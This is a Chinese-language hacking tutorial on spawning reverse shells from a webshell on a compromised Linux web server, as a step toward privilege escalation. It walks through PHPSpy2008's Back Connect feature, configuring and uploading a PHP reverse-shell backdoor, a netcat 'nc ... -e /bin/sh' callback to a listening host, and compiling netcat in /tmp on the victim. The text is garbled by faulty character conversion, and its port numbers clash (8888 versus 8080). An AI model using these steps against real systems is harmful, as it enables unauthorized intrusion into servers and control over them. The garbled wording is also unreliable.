Linux下通过WebShell反弹CmdShell,在网站处事器入侵提权进程中的应用比Windows情况下更广更频繁。Linux提权绝大部门都靠的是Local Exploit。WebShell一般都可以执行呼吁,可是溢出必需在可交互情况运行,不然假如直接在WebShell执行,纵然能溢出提权乐成,也没法操作。因此必需要反弹一个Shell呼吁行窗口,在呼吁行终端下执行溢出举办提权。
利用PHP WebShell木马反弹Shell
一般环境下,大大都PHP WebShell木马后门都带有的Back Connect成果弹回一个Shell。譬喻在PHPSpy2008木马后门中,有一个Back Connect反弹毗连成果,可以反弹得到一个担任当前WebShell权限的Shell呼吁窗口。
在利用Back Connect反弹毗连成果前,首先需要利用NC东西在当地监听一个未利用的端口,譬喻监听当地8888端口,执行如下呼吁:
nc -vv -l -p 8080
然后在WebShell的Back Connect反弹毗连成果页中,会自动检测本机的IP地点,在"Your IP"中显示本机IP,在"Your Port"中输入监听的端口,这里为8080。然后选择要利用的反弹毗连方法,PHPSpy2008提供了两种反弹毗连方法,Perl和C,这里利用Perl反弹(图1)。
图1
配置完毕后,点击"Start"按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可获得一个Shell呼吁行窗口(图2)。
图2
除了PHPSpy2008之外,尚有一些专用的PHP反弹shell网页后门。首先在当地用文本编辑器打开PHP反弹shell网页后门文件,在个中找到如下代码内容:
$yourip = "111.123.96.28";
$yourport = '8888';
图3
修改配置个中的反弹IP地点111.123.96.28为本机IP地点,默认反弹端口为8888,可举办修改(图3)。修改后生存文件,将其通过WebShell上传。假设上传后的链接地点为http://www.***.com/shell.php。然后在当地打开呼吁提示符窗口,执行如下呼吁:
nc -vv -l -p 8888
利用nc监听当地的8888端口。在欣赏器中会见http://www.***.com/shell.php,在nc监听的端口中,就可以得到一个从网站处事器上返返来的呼吁行Shell了。
利用NC反弹Shell
在举办Shell反弹时,有时会碰随处事器不支持PHP可能WebShell无法乐成反弹Shell的环境,譬喻有的处事器只支持JSP,不支持PHP。此时,可以同样回收Windows下的经典的NC反弹Shell要领。
在Windows下反弹CmdShell时,首先要在本机运行"nc -vv -l -p 端标语"监听端口,然后在WebShell中执行"nc -e cmd.exe 监听主机IP地点 端口",就可以反弹一个CmdShell。这个要领在Linux中仍然可行,只不外需要作一点小小的窜改。
--在本机监听端口后,在WebShell运行nc反弹时,需要发送的是"/bin/sh",而不是cmd.exe,,这样才够反弹发送一个Linux下的Shell呼吁行窗口给监听主机。譬喻执行如下呼吁:
nc 119.1.44.32 8888 -e /bin/sh
即可反弹一个Shell到IP地点为119.1.44.32的监听主机的8888端口。
长途主机无NC东西时的办理步伐
在利用NC反弹Shell时,还会遇到长途主机上不能直接执行nc,可能没有安装nc东西。遇到这样的环境,可以给手工给长途主机安装一个NC,较量利便的要领是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在当地Linux呆板上编译成可执行措施后,再将编译文件上传到长途主机上。假如当地编译的措施在长途主机上无法利用,可以直接把源码传上去后,在方针呆板上直接编译。
假如需要在方针呆板上编译NC的话,需要留意一些问题,因为在获得Shell呼吁行窗口前,只能在WebShell里执行呼吁,一般每次只能执行一条,然后期待执行后的功效回显。
别的,在编译时需要留意措施执行路径的问题。由于Linux下权限配置很是严格,纵然进攻者得到了WebShell,也大概无法直接在WEB网页目次下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图4)。
图4
譬喻WebShell在/var/www/目次,那么在WebShell中执行呼吁默认的当前路径都是/var/www/,假如netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat举办make操纵时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操纵时会堕落。办理这个问题其实很简朴,可以直接把切换路径和make操纵两句呼吁写成一句,用分号离隔写就可以了。
将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操纵进程及呼吁如下:
cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
图5
执行该呼吁后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目次中(图5)。然后再执行呼吁:
/tmp/netcat-0.7.1/configure
设置完毕后,再执行如下呼吁举办编译:
cd /tmp/netcat-0.7.1;make
由于利用了分号,可同时执行两条呼吁,将make跟在目次切换呼吁后头,在编译的时候就不会报错了(图6)。
图6